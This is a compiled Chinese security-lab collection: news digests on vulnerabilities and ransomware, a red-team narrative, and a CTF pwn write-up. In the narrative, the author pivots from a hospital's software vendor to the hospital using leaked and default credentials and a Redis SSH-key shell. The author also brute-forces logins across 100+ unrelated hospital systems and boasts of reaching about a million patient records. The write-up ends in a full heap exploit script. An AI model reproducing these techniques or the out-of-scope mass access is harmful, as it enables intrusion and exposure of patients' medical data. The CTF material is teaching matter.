10、Sonatype：市面上 1/8 的开源组件存在已知漏洞 https://www.ithome.com/0/723/234.htm 截至 2023 年 9 月，研究团队共发现了 245032 个恶意软件包，是往年总和的 2 倍，1/8 的开源下载存在已知风险，且仍有 23% 的 Log4j 下载存在严重漏洞。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

起因：某市hw、给了某医院的资产，根据前期进行的信息收集就开始打，奈何目标单位资产太少，唯有一个IP资产稍微多一点点，登录框就两个，屡次尝试弱口令、未授权等均失败。 事件型-通用性-反编译jar-Naocs-后台-供应商到目标站-批量检测-内网 1.事件型-通用型 尝试互联网获取更多目标资产的信息。fofa搜索IP发现这样一个系统，是通用型的系统（根据指纹和ico自动识别的）、大概100+单位，包括县级、市级等均用此系统。 由于之前有过类似的从供应商一路打到目标站的经历，这次猜测应该也可以 查看网站底部的备案号，发现并不是目标单位的，而是供应商的，于是开始针对供应商进行信息收集 定位到了某家公司，天眼查显示八个备案域名： 直接上enscan收集备案信息，随后根据收集到的所有备案域名，查找真实IP以及端口等 根据获取到的域名，用fofa直接反查IP、子域等等，经过筛选之后，共有八个真实IP 随后就是找端口、找指纹什么的，我喜欢用fofa,现在fofa支持批量搜索100个IP资产的功能，根据系统的ICO识别指纹很快 2.反编译jar 很快根据fofa的ico摸到了nexus系统：一个maven仓库管理器 弱口令：admin/admin、admin/admin123等均失败 弱口令尝试无果后，根据之前的反编译jar的思路，直接点击browse查看maven公开仓库 找项目仓库，发现了不少的jar包 直接下载jar包反编译查看敏感信息，包括spring鉴权口令以及redis口令均可查看 大概几十个jar包，挨个尝试敏感信息获取，将获取到的敏感信息存一个密码本中，留着撞库爆破用很快收集到了mysql用户名口令、oracle用户名口令、Redis信息、nacos口令信息、部分服务的ak/sk接口（比如人脸识别api、语言api等等)，但大多都处于内网，一时无法利用。 3.Nacos 继续查看端口结果,发现其中一个IP，开放的端口很大，直到50000以上。其中一个端口48848瞬间引起了我的注意，因为nacos默认端口8848嘛，随后点开提示404（要的就是404），反手在路径处输入nacos，直接跳转到nacos登陆界面 尝试默认口令：nacos/nacos、test/123456、nacos/123456均失败，未授权添加用户以及获取用户名口令均失败、尝试jwt绕过登录等等也都失败…… 用刚刚反编译jar获取到的口令进行尝试，在尝试了几个之后，成功跳转到后台 随即： 有配置就有东西，直接翻找配置文件，找敏感信息、同样发现了redis、MySQL等连接信息、还有短信云服务的ak/sk、这些AK/SK大多都是可接入存储桶什么的、但是没东西，也没有云主机…… 4.通用型口令进后台 从nacos系统获取到的敏感信息继续添加到密码本中，继续找别的端口，发现了某端口下开放着和目标站点一模一样的系统界面，利用收集到的口令（密码本）尝试进行登陆供应商的系统： 尝试了几个之后。。成功以收集到的强口令登陆该系统 在某档案管理处发现4w+个人信息（身份证、手机、姓名、地址、病历等等） 在系统用户中找到3K+个人信息 翻找系统用户列表还发现系统用户还存在一个manager用户、但是默认管理员admin账户未找到，怀疑是系统开发商留下的默认用户admin，密码稍微有点复杂，大小写字母+数字+特殊符号组合。尝试利用该口令登陆该IP资产下的其它相同系统，均登录成功分别为1w+、14w+、5w+、24w+等众多敏感信息，均为不同的医院 根据每个系统的特点以及信息数量可以得到，系统存在开发商管理员用户名：admin和manager，且口令为开发商初始默认口令 5.从供应商到目标站 根据前期收集到的信息，直接以初始口令登录此次hw目标站点成功打入后台，先是1K+信息 在系统管理-用户管理中同样发现存在manager用户直接以默认口令尝试登陆 获取5K+敏感信息，查看接口可获取到未脱敏信息 6.afrog批量POC 前期fofa找出来的结果，大概100+系统用afrog编写批量爆破poc尝试登陆，result=1就是登录成功；afrog、就是快、准、狠 粗略估计一下，大概100w左右的数据，永远永远的好起来了…… 7.redis-供应商内网 根据前期获取到的redis口令，登陆redis成功，并且为root权限，尝试写入公钥getshell老样子，先用xshell生成公钥，将此公钥复制到liqun工具箱中，直接进行写入即可 在连接的时候踩坑了，因为目标主机开放的ssh端口过多，其中一个端口44622写入失败，换一个端口44722写入成功了。 接下来就是内网常规操作了……

1、苹果紧急更新修复了用于破解iPhone的新零日漏洞 https://support.apple.com/en-us/HT213961 Apple 发布了紧急安全更新，以修补针对 iPhone 和 iPad 用户的攻击中利用的新的零日安全漏洞。该公司在周三发布的一份咨询报告中表示：“苹果公司了解到有报告称，iOS 16.6 之前的 iOS 版本可能已积极利用此问题。”零日漏洞 (CVE-2023-42824) 是由 XNU 内核中发现的一个漏洞引起的，该漏洞使本地攻击者能够在未修补的 iPhone 和 iPad 上升级权限。尽管苹果表示已通过改进检查解决了 iOS 17.0.3 和 iPadOS 17.0.3 中的安全问题，但尚未透露是谁发现并 2、Atlassian修补攻击中利用的关键Confluence零日漏洞 https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html 澳大利亚软件公司 Atlassian 发布了紧急安全更新，以修复其 Confluence 数据中心和服务器软件中已被利用的最高严重性零日漏洞。该公司表示：“Atlassian 已意识到少数客户报告的一个问题，外部攻击者可能利用可公开访问的 Confluence 数据中心和服务器实例中以前未知的漏洞来创建未经 3、思科修复了紧急响应程序中的硬编码根凭据 https://www.bleepingcomputer.com/news/security/cisco-fixes-hard-coded-root-credentials-in-emergency-responder/ 思科发布了安全更新来修复思科紧急响应程序 (CER) 漏洞，该漏洞允许攻击者使用硬编码凭据登录未修补的系统。CER 通过实现 IP 电话的准确位置跟踪来帮助组织有效应对紧急情况，从而将紧急呼叫路由到适当的公共安全应答点 (PSAP)。该安全漏洞编号为 CVE-2023-20101，允许未经身份验证的攻击者使用 root 账户访问目标设备，该账户具有无法修改或删除的默认静态凭 4、黑客通过被攻破的SQL服务器破坏Azure云虚拟机 https://www.microsoft.com/en-us/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/ 据观察，黑客试图通过容易受到 SQL 注入攻击的 Microsoft SQL Server 来破坏云环境。微软的安全研究人员报告称，这种横向移动技术之前曾在针对虚拟机和 Kubernetes 集群等其他服务的攻击中出现过。安全研究人员观察到的攻击始于利用目标环境中应用程序中的 SQL 注入漏洞，这使得威胁参与者能够访问 5、攻击者利用数百个恶意Python包窃取敏感数据 https://checkmarx.com/blog/the-evolutionary-tale-of-a-persistent-python-threat/ 研究人员观察到，过去半年里，攻击者发起了一场复杂的恶意活动。该活动已在开源平台上植入了数百个信息窃取包，下载量约为 75000 次。自 4 月初以来，Checkmarx 供应链安全团队的分析师一直在监控该活动，他们发现了 272 个包含用于从目标系统窃取敏感数据的代码的软件包。自首次发现以来，这种攻击已经发生了显著的变化，软件包作者实施了越来越复杂的混淆层和检测规避技术。恶意软件可以截取屏幕截图并从受感染的系统中窃取单个文件，例如桌面 6、Qakbot黑客团伙传播Ransom Knight勒索软件 https://blog.talosintelligence.com/qakbot-affiliated-actors-distribute-ransom/ Qakbot恶意软件背后的威胁行为者自2023年8月初以来一直在开展活动，通过网络钓鱼电子邮件分发Ransom Knight勒索软件和Remcos后门。研究人员将此新活动归因于Qakbot附属机构，因为此活动中使用的LNK文件中发现的元数据与之前Qakbot活动“AA”和“BB”中使用的机器的元数据相匹配。由于这项新行动自2023年8月初以来一直在持续，并且在被关闭后并未停止，因此研究人员认为FBI行动并未影响Qakbot的网络钓鱼电子 7、Lorenz勒索软件团伙自身泄露两年的联系人数据 https://www.theregister.com/2023/10/05/lorenz_ransomware_group_leaks_details/ Lorenz勒索软件团伙是一群自2021年2月起活跃的网络犯罪分子，他们采用双重勒索的手段，即在加密受害者的文件之前，先窃取数据，并威胁如果不支付赎金，就会在暗网上泄露数据。他们主要针对美国、中国和墨西哥的中小型企业，利用Mitel的VoIP漏洞(CVE-2022-29499)等关键漏洞进行攻击。然而，Lorenz团伙最近却陷入了自身数据泄露的尴尬境地。研究人员发现，Lorenz团伙的暗网博客泄露了后端代码，并将数据从网站上拉取下来，上传 8、朝鲜黑客攻击韩国造船业窃取军事机密 https://www.nis.go.kr:4016/resources/synap/skin/doc.html?fn=NIS_FILE_1696403626891 韩国国家情报院观察到朝鲜黑客在八月和九月对韩国造船厂进行了“密集的黑客攻击”。该机构表示，它正在向造船商通报其系统和网络受到的威胁，并建议主要造船厂进行独立的安全审计，以堵塞数字基础设施中的安全漏洞。韩国国家情报局没有透露目标造船厂的名称，但表示，国家支持的黑客向目标造船厂的内部员工发送了网络钓鱼电子邮件，试图将恶意代码安装到他们的系统中。微软在9月的东亚威胁报告中表示，自2023年1月以来，朝鲜黑客组织还对巴西、捷克共和国、芬 9、Lazarus组织洗钱9亿美元的加密货币 https://www.elliptic.co/blog/record-7-billion-in-crypto-laundered-through-cross-chain-services 据研究人员表示，从2022年7月到2023年7月，朝鲜的Lazarus组织通过跨链犯罪非法洗掉了约9亿美元的加密货币。跨链犯罪是指将加密资产从一个代币或区块链转换到另一个，通常是在很短的时间内，以试图掩盖其来源，这是一种对于加密货币盗窃者来说非常有利的洗钱方法，也是混合器(mixer)等传统手段的替代方案。Lazarus组织利用跨链桥的方式导致了通过这种服务发送的资金比例增加了111%。该黑客组织估计自2 10、 WinRAR漏洞让非法内容消费者面临恶意软件风险 https://cyble.com/blog/winrar-vulnerability-puts-illicit-content-consumers-at-risk-of-apanyan-stealer-murk-stealer-asyncrat/ WinRAR是一款广泛使用的文件压缩和解压缩软件，支持多种压缩格式，如RAR、ZIP、CAB、ARJ、LZH、TAR、GZip、UUE、ISO、BZIP2、Z和7-Zip。最近，WinRAR修复了一个严重的远程代码执行漏洞(CVE-2023-40477)，该漏洞可能允许远程攻击者通过让用户打开一个恶意的压缩文件来在目标系统上执行任意代码。然而，研 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、研究人员披露基于Node.js语言的Lu0Bot恶意软件 https://any.run/cybersecurity-blog/lu0bot-analysis/ Lu0Bot是一种Node.js语言编写的恶意软件，最初出现于2021年2月，早期它似乎是一个用于DDOS攻击的常规僵尸网络木马，如今Lu0Bot开始充当僵尸网络中的终端Bot，等待来自C2服务器的命令并将加密的基本系统信息发送回该服务器。Lu0Bot使用Node.js语言编写是基于现代Web应用程序中常用的运行时环境，其所使用的特定代码和库使得在运行时与操作系统的平台无关，且通常允许更大的多功能性，比如采用JavaScript代码的多层混淆技术。研究人员称如果Lu0bot的活动规模扩大并 2、攻击者利用Openfire漏洞入侵服务器并挖矿 https://nvd.nist.gov/vuln/detail/CVE-2023-32315 黑客正在积极利用 Openfire 消息传递服务器中的一个高严重性漏洞，使用勒索软件加密服务器并部署加密挖矿程序。Openfire 是一种广泛使用的基于 Java 的开源聊天 (XMPP) 服务器，下载量达 900 万次，广泛用于安全的多平台聊天通信。该漏洞编号为 CVE-2023-32315，是一种影响 Openfire 管理控制台的身份验证绕过方式，允许未经身份验证的攻击者在易受攻击的服务器上创建新的管理员帐户。攻击者使用这些帐户安装恶意 Java 插件（JAR 文件），这些插件执行通过 GE 3、攻击者利用开源窃取程序Exela针对Discord用户发起攻击 https://cyble.com/blog/exela-stealer-spotted-targeting-social-media-giants/ 研究人员发现基于 Python 的开源窃取程序Exela Stealer，它具有广泛的反调试和反虚拟机 (VM) 技术，使其成为攻击者的有力工具。Exela 主要针对 Discord 用户，通过修改 Windows Discord 客户端来窃取敏感信息，包括登录凭据、个人数据，甚至可能是财务信息。Exela 窃取程序还旨在针对多个浏览器的数据和凭据。它还可以从各种应用程序中窃取会话详细信息，包括流行的社交媒体平台和游戏平台。通过 Discor 4、研究人员披露新型ZeroFont网络钓鱼技术 https://isc.sans.edu/diary/A+new+spin+on+the+ZeroFont+phishing+technique/30248/ 攻击者正在利用一种新技巧，即在电子邮件中使用零点字体，使恶意电子邮件看起来像是被 Microsoft Outlook 中的安全工具安全扫描过的。正在利用一种新技巧，即在电子邮件中使用零点字体，使恶意电子邮件看起来像是被 Microsoft Outlook 中的安全工具安全扫描过的。正在利用一种新技巧，即在电子邮件中使用零点字体，使恶意电子邮件看起来像是被 Microsoft Outlook 中的安全工具安全扫描过的。研究人员发现的一封 5、ZenRAT远控木马通过虚假Bitwarden密码管理软件传播 https://www.proofpoint.com/us/blog/threat-insight/zenrat-malware-brings-more-chaos-calm 研究人员近期发现一款称为ZenRAT的新型远控木马家族，该家族隐藏在虚假的软件安装程序中，已被发现的历史活动利用SEO中毒、广告软件捆绑或电子邮件进行传播。ZenRAT最初是在一个外表与Bitwarden密码管理器软件相关的虚假网站上发现的，该网站与真实的bitwarden非常相似，该家族甚至克隆了Scott Nesbitt 从Opensource上发表的一篇有关Bitwarden密码管理器的文章。该恶意软件是一种模块 6、谷歌将libwebp中的严重漏洞评定为最高危险级别 https://nvd.nist.gov/vuln/detail/CVE-2023-4863 近日Google为libwebp安全漏洞分配了一个新的CVE编号(CVE-2023-5129)，该漏洞被用作攻击中的零日漏洞，漏洞存在于libwebp用于无损压缩的霍夫曼编码算法中，它使攻击者能够使用制作的恶意HTML页面执行越界内存写入。该漏洞由Apple安全工程与架构部门(SEAR)和多伦多大学Munk学院的公民实验室于9月6日星期三联合报告，不到一周后Google修复了该漏洞，安全咨询公司创始人Ben Hawke（曾领导Google零项目团队）还将CVE-2023-4863与Apple于9月7 7、研究人员称LostTrust勒索软件与MetaEncryptor存在关联 https://www.bleepingcomputer.com/news/security/meet-losttrust-ransomware-a-likely-rebrand-of-the-metaencryptor-gang 研究人员称，由于利用了几乎相同的数据泄露网站和加密器，LostTrust勒索软件被认为与MetaEncryptor存在关联。LostTruat勒索团伙于2023年3月份开始进行攻击，并于9月份开始被人们发现。目前，该勒索组织已经在其数据泄露网站中列出了53个受害者，其中一些受害组织因未支付赎金而遭到数据泄露。MetaEncryptor勒索组织于2022年8月份开始 8、俄罗斯航班预定系统遭受网络攻击 https://therecord.media/russia-flight-booking-system-leonardo-ddos 俄罗斯的一个航班预订系统遭到网络攻击，导致机场延误。据当地航空预订系统Leonardo的开发商之一、俄罗斯国家国防公司Rostec称，该系统遭到了大规模的分布式拒绝服务（DDoS）攻击。这起事件持续了大约一个小时，影响了几位Leonardo客户的运营，其中包括俄罗斯航空公司Rossiya Airlines、Pobeda和旗舰航空公司Aeroflot。据俄罗斯国际航空公司称，这起事件导致该国最繁忙的莫斯科谢列梅捷沃国际机场的起飞延误长达一个小时。乌克兰黑客组织I 9、攻击者利用EvilProxy对美国高管发起钓鱼活动 https://www.menlosecurity.com/blog/evilproxy-phishing-attack-strikes-indeed/ EvilProxy是一种钓鱼服务工具包，可以通过反向代理和会话劫持的技术，绕过多数在线服务的二次验证保护，窃取用户的凭证。这种工具包在暗网市场上出售，任何网络犯罪者都可以购买并使用。研究人员介绍了一起针对高层管理人员的钓鱼攻击案例，该案例利用了求职平台“indeed.com”的一个开放重定向漏洞，将受害者引导到伪造的Microsoft登录页面。该页面实际上是一个反向代理服务器，可以拦截用户输入的账号、密码和二次验证代码，并立即使用它们登录用 10、Linux新漏洞“Looney Tunables”可让攻击者获取root权限 https://www.bleepingcomputer.com/news/security/new-looney-tunables-linux-bug-gives-root-on-major-distros/ 近日，安全研究人员发现了一个新的Linux漏洞，它被称为“Looney Tunables”，因为它可以通过修改一些名为“tunables”的环境变量来触发。这些环境变量是GNU C库(glibc)的一部分，它是GNU系统的C库，也是大多数基于Linux内核的系统中的基本组件。它提供了一些基本的功能，如字符串处理、数学运算、输入输出等。glibc中的ld.so动态加载器负责加载程序所需 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、研究人员称近五年来教育机构遭勒索攻击损失高达530亿美元 https://www.comparitech.com/blog/vpn-privacy/school-ransomware-attacks-worldwide/ 从2018年到2023年9月中旬，已有561家教育机构遭受勒索软件攻击。我们估计，仅因这些攻击造成的停机时间就给世界经济造成了超过 530 亿美元的损失。虽然其他行业的勒索软件攻击在 2022 年有所下降，但教育领域的情况却并非如此。事实上，过去四年来，对该行业的攻击一直居高不下。然而，2023 年看起来将是破纪录的一年，迄今为止发生的攻击数量将大幅增加。2023 年上半年，研究人员记录了 85 起针对全球学校和学院/大学的勒索软 2、ALPHV勒索软件组织声称入侵了CLARION https://securityaffairs.com/151299/data-breach/alphv-ransomware-hacked-clarion.html Alphv 勒索软件组织声称入侵了全球汽车和其他车辆音频和视频设备制造商 Clarion。Alphv 勒索软件组织将汽车和其他车辆音频和视频设备的全球制造商 Clarion 添加到其 Tor 泄露网站的受害者名单中。Clarion Japan 是 Clarion Co., Ltd. 的日本子公司，Clarion Co., Ltd. 是汽车和其他车辆音频和视频设备的全球制造商。该公司开发、制造和销售各种产品，包括汽车导航系统、音 3、CISA警告影响三星和Realtek等产品的安全漏洞已被攻击者利用 https://therecord.media/cisa-adds-owl-labs-samsung-realtek-bugs-to-kev-list 本周一和周二美国网络安全和基础设施安全局 (CISA) 警告称MinIO、三星、Realtek、Zyxel、Laravel和Owl Labs等厂商产品的9个安全漏洞已经存在被在野攻击者利用，其中包括Owl Labs 生产支持视频会议等功能的智能设备存在的四个漏洞（CVE-2022-31459、CVE-2022-31461、CVE-2022-31462 和 CVE-2022-31463），以及其芯片组被应用于于多种主流产品中的Realtek 也 4、Firefox 118 修复了六个高危漏洞 https://www.securityweek.com/firefox-118-patches-high-severity-vulnerabilities/ Mozilla 周二宣布了 Firefox 和 Thunderbird 的安全更新，解决了其产品中的总共 9 个漏洞，其中包括高严重性缺陷。 5、谷歌开源二进制文件比较工具BinDiff https://www.securityweek.com/google-open-sources-binary-file-comparison-tool-bindiff/ 谷歌宣布，该公司维护了十多年的流行文件比较工具 BinDiff 现已开源。BinDiff 由 zynamics.com（2011 年被 Google 收购）开发，是一个二进制文件比较实用程序，允许用户识别反汇编代码中的相似点和差异。该工具支持 IDA Pro、Binary Ninja 和 Ghidra，可用于比较多个架构的二进制文件、识别相同或相似的功能、发现潜在的代码盗窃、识别版本之间的更改等。 6、苹果发布macOS 14 Sonoma， 修补了 60 多个漏洞 https://www.securityweek.com/macos-14-sonoma-patches-60-vulnerabilities/ 苹果周二宣布发布 macOS 14 Sonoma。最新版本的操作系统修复了 60 多个漏洞。这些缺陷可被利用来获取潜在的敏感信息（位置、日历、联系人、照片、凭据）、以提升的权限执行任意代码、逃离沙箱、读取任意文件、导致拒绝服务 (DoS) 情况、升级权限、绕过安全机制、删除文件、修改文件系统的受保护部分以及进行 UI 欺骗。 7、新的 GPU 侧通道攻击允许恶意网站窃取数据 https://www.securityweek.com/new-gpu-side-channel-attack-allows-malicious-websites-to-steal-data/ 来自美国多所大学的一组研究人员表示，几乎所有现代图形处理单元 (GPU) 都容易受到新型旁道攻击的影响，这种攻击可被用来获取敏感信息。 8、libwebp库中的漏洞CVE-2023-5129 影响数百万应用程序 https://securityaffairs.com/151576/hacking/cve-2023-5129-libwebp-flaw.html Google 为 libwebp 图像库中用于以 WebP 格式渲染图像的关键安全漏洞（编号为 CVE-2023-5129）分配了最高分。Google 在 libwebp 图像库中为一个关键漏洞分配了一个新的 CVE 标识符，跟踪为 CVE-2023-5129（CVSS 评分 10,0），用于以 WebP 格式渲染图像。该缺陷最初被追踪为CVE-2023-4863，因为研究人员认为它只影响 Google Chrome 浏览器。在发现该问题影响每 9、乌克兰黑客入侵俄罗斯航空巨头，窃取超 41 亿条乘客信息 https://www.secrss.com/articles/59218 乌克兰黑客声称已侵入俄罗斯公司 Sirena-Travel 的数据库，该数据库包含数亿次航空旅行的信息以及乘客保险以及其他个人数据。 10、勒索软件组织声称已经攻破索尼所有系统，数据正在出售 https://www.ithome.com/0/721/608.htm 据 Cyber Security Connect 报道，一个自称 Ransomed.vc 的勒索软件团伙声称已经成功入侵了日本公司索尼集团，并威胁要出售从该公司窃取的一批数据。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

本题主要介绍realloc函数，平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候，使用realloc_hook调整onegadget的栈帧，从而getshell。 在realloc函数中，也能像malloc一样创建堆，并且比malloc麻烦一些，但是倒是挺有趣的。 realloc realloc(realloc_ptr, size)有两个参数，并且在特定参数有特定效果 size == 0 ，这个时候等同于free。也就是free(realloc_ptr)，并且返回空指针。即没有uaf realloc_ptr == 0 && size > 0 ， 这个时候等同于malloc,即malloc(size) malloc_usable_size(realloc_ptr) >= size， 这个时候等同于edit malloc_usable_size(realloc_ptr) < szie， 这个时候才是malloc一块更大的内存，将原来的内容复制过去，再将原来的chunk给free掉 stdout泄露 这里我只给出结论，具体可以https://blog.csdn.net/qq_41202237/article/details/113845320?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166341506616800186544437%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166341506616800186544437&biz_id=0&utm_medium=distribute.pc_se 设置_flags & _IO_NO_WRITES = 0 设置_flags & _IO_CURRENTLY_PUTTING = 1 设置_flags & _IO_IS_APPENDING = 1 _flags = 0xFBAD1800 设置_IO_write_base指向想要泄露的位置，_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾，程序中自带地址足够泄露libc) 具备以上基础我们可以来实战一题了 roarctf_2019_realloc_magic Arch:     amd64-64-little RELRO:   Full RELRO Stack:   Canary found NX:       NX enabled PIE:     PIE enabled 64位，保护全开 前情提要： 本题部署在2.27-3ubuntu1_amd64/libc-2.27.so 建议关闭linux地址空间随机化(ASLR)，方便调试。 在root用户下执行 echo 0 > /proc/sys/kernel/randomize_va_space realloc int re() { unsigned int size; // [rsp+Ch] [rbp-4h] puts("Size?"); size = get_int(); realloc_ptr = realloc(realloc_ptr, size); puts("Content?"); read(0, realloc_ptr, size); return puts("Done"); } free int fr() { free(realloc_ptr); return puts("Done"); } 存在uaf，可以利用起来 这里有个清零指针的函数 int ba() { if ( lock )   exit(-1); lock = 1; realloc_ptr = 0LL; return puts("Done"); } 程序特别简单，但是利用比较精妙， 在realloc的时候，因为每次都是使用realloc_ptr，并且没有变化，导致每次申请的chunk都会写在在realloc_ptr指向的地址，再次申请比上一次的size大就可以往后溢出写 思路 通过realloc，和uaf，构造好tcache的布局 然后把_IO_2_1_stdout 链到bin里面，通过stdout泄露libc，得到free_hook 最后正常打free_hook：free_hook-->system-->/bin/sh 首先利用malloc(size)和free(size)在tcache上面先准备好 malloc(size)可以由realloc(realloc_ptr,size)得到（本文上面的第二个效果） free(size)可以由realloc(realloc_ptr,size=0)得到（本文上面的第一个效果) realloc(0x20,b'b') #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备 realloc(0,"") realloc(0x90,b'b') realloc(0,"") realloc(0x10,b'b') realloc(0,"") realloc(0x90,b'b') for i in range(7):   dele() realloc(0,"") 这一步非常重要，首先将0x90的地址申请回来，赋值给realloc_ptr，在通过uaf，tcache double free free掉7次，填满tcache bin，然后再free一次，使0x90进入到unsortedbin，把main_arena链进来 为什么第八次free需要使用realloc去free呢？ 因为首先是因为用来链上unsortedbin，其次用来清空掉realloc_ptr指针，不影响后面的chunk使用 看一下此时的堆空间 realloc(0x20,b"aaa") pl=p64(0)*5+p64(0x81)+b"\x60\xc7" #realloc(0x50,b'aaa') #这里的注释是用来方便看你申请的堆放哪里去了，可以自己看一下 realloc(0x50,pl) 这里看上面图片的堆布局，如果你用了注释看了一下gdb，就知道为什么这样摆了， 后面申请的0x50是因为能刚好申请到更改unsortedbin的范围，大一点也没关系 首先改chunkB，也就是我们放入unsortedbin的chunk，改掉size值，可以结合realloc(0)，多一次malloc 后面的"\x60\xc7"看图就知道了 _IO_2_1_stdout_跟main_arena相差了4位，并且低三位是固定的，只需要爆破一位 （因为我关闭了ASLR，所以直接\x60\xc7打本地不用爆破一次通(x)） 直接看成果图 可以发现成功链上了_IO_2_1_stdout_，接下来我们只需要把他申请回来就行 realloc(0,"") realloc(0x90,b'aa') realloc(0,"") pl=p64(0xfbad1887)+p64(0)*3+b'\x58' realloc(0x90,pl) 这里就涉及到_IO_2_1_stdout_泄露libc了，（下图都还没改的 0xfbad1887照着原来的就行低两位，高地址就是取我们设定好的0xFBAD1800 这里前面的_IO_read_xx用p64(0)填充掉，然后利用_IO_write_base设置指向想要泄露位置，比如说改成\x58 也就是 把_IO_file_jumps泄露出来，就可以计算libc，别的位置都可以，只需要是能算libc的即可 然后算出free_hook，system的libc地址， 接下来首先先用给的清理realloc_ptr的函数，将realloc_ptr置0 sla(menu,'666') realloc(0x30,b'a') realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0x10,b'b')#2 realloc(0,"") realloc(0xa0,b'b') for i in range(7): dele() realloc(0,"") realloc(0x30,b'a')pl=p64(0)*7+p64(0x71)+p64(free-8) realloc(0x70,pl) realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0xa0,b'/bin/sh\x00'+p64(sys)) dele() free-8是为了放好/bin/sh，然后顺便下一个将free_hook改成system 完整exp: from pwn import* def debug(cmd = 0):       if cmd == 0:           gdb.attach(r)       else:           gdb.attach(r,cmd)       pause() menu=b">>" def realloc(size,con):   r.sendlineafter(menu, b'1')   r.sendlineafter(b'ize',str(size))   r.sendafter(b'ent',con) def dele():   r.sendlineafter(menu,b'2')     libc=ELF("libc-2.27.so") context(os='linux', arch='amd64',log_level='debug') def pwn():   realloc(0x20,b'b')   realloc(0,"")   realloc(0x90,b'b')   realloc(0,"")   realloc(0x10,b'b')   realloc(0,"")   realloc(0x90,b'b')   for i in range(7):       dele()   realloc(0,"")   realloc(0x20,b"aaa")   payload=p64(0)*5+p64(0x81)+b"\x60\xc7"   #realloc(0x50,b'aaa')   realloc(0x50,payload)       realloc(0,"")   realloc(0x90,b'aa')   realloc(0,"")   payload=p64(0xfbad1886)+p64(0)*3+b'\x58'   realloc(0x90,payload)   #debug()   leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']   print(hex(leak))   free=leak+libc.sym['__free_hook']   system=leak+libc.sym['system']   r.sendlineafter(menu,'666')   realloc(0x30,b'a')   realloc(0,"")   realloc(0xa0,b'a')   realloc(0,"")   realloc(0x10,b'b')#2   realloc(0,"")   realloc(0xa0,b'b')   for i in range(7):       dele()   realloc(0,"")   realloc(0x30,b'a')   payload=p64(0)*7+p64(0x71)+p64(free-8)   realloc(0x70,payload)   realloc(0,"")   realloc(0xa0,b'a')   realloc(0,"")   realloc(0xa0,b'/bin/sh\x00'+p64(system))   dele()   r.interactive() for i in range(1):   try:       r=process("./pwn")       pwn()       break   except:       r.close()

1、研究人员披露Turla组织近年使用的主要武器库 https://www.trendmicro.com/en_us/research/23/i/examining-the-activities-of-the-turla-group.html 总部位于俄罗斯的 Turla 组织被视为高度复杂的高级持续威胁 (APT) 组织，至少从 2004 年起就被怀疑在运作。Turla 的组织名称因其顶级 Rootkit 而臭名昭著，例如 Snake、Venomous Bear、WhiteBear、Uroburos、Group 88 和 Waterbug，所有这些都以政府实体、情报机构以及军事、教育、研究和组织为目标。世界各地的制药工业。与其他 APT 组 2、Atlassian发布针对Confluence等产品中严重漏洞的修复更新 https://confluence.atlassian.com/security/security-bulletin-september-19-2023-1283691616.html Atlassian 和互联网系统联盟 (ISC) 披露了影响其产品的多个安全漏洞，这些漏洞可被利用来实现拒绝服务 (DoS) 和远程代码执行。这四个严重漏洞已在上个月发布的新版本中得到修复。这包括CVE-2022-25647（CVSS 评分：7.5），Google Gson 包中的反序列化缺陷影响 Jira Service Management 数据中心和服务器中的补丁管理。CVE-2023-22512（C 3、达拉斯市政府声称被Royal勒索软件盗用帐户并破坏网络 https://www.cbsnews.com/texas/news/possible-cyber-attack-hampering-dallas-police-operations/ 德克萨斯州达拉斯市本周表示，Royal 勒索软件攻击迫使其关闭所有 IT 系统，原因是账户被盗。Royal 在 4 月初使用被盗的域服务帐户访问了该市的网络，并在 4 月 7 日至 5 月 4 日期间保持了对受感染系统的访问。在此期间，根据市政府官员和外部网络安全专家进行的系统日志数据分析，他们成功收集并窃取了价值 1.169 TB 的文件。该组织还通过在整个城市系统中投放 Cobalt Strike 命令和 4、加拿大 FLAIR 航空公司的用户数据泄露数月 https://securityaffairs.com/151512/data-breach/canadian-flair-airlines-data-leak.html Cybernews 研究团队发现，加拿大 Flair 航空公司将敏感数据库和电子邮件地址的凭据开放至少七个月。这增加了乘客的个人信息（例如电子邮件、姓名或地址）落入坏人之手的风险。 5、RansomedVC 勒索组织声称入侵了索尼，该公司正在调查 https://securityaffairs.com/151518/data-breach/threat-actors-claim-sony-hack.html 在 RansomedVC 勒索组织声称入侵了该公司并将该公司添加到其 Tor 泄露网站后，索尼宣布正在调查数据泄露指控。勒索软件组织发布了一些文件作为黑客攻击的证据，但尚不清楚威胁行为者是否能够破坏公司的所有系统。 6、RHYSIDA 勒索软件攻击了科威特财政部 https://securityaffairs.com/151501/cyber-crime/rhysida-ransomware-kuwait-ministry-of-finance.html 本周，Rhysida 勒索软件组织声称科威特财政部遭到黑客攻击，并将其添加到其 Tor 泄露网站中。 7、微软为 Windows 11 23H2添加新的安全功能 https://www.securityweek.com/microsoft-adding-new-security-features-to-windows-11/ 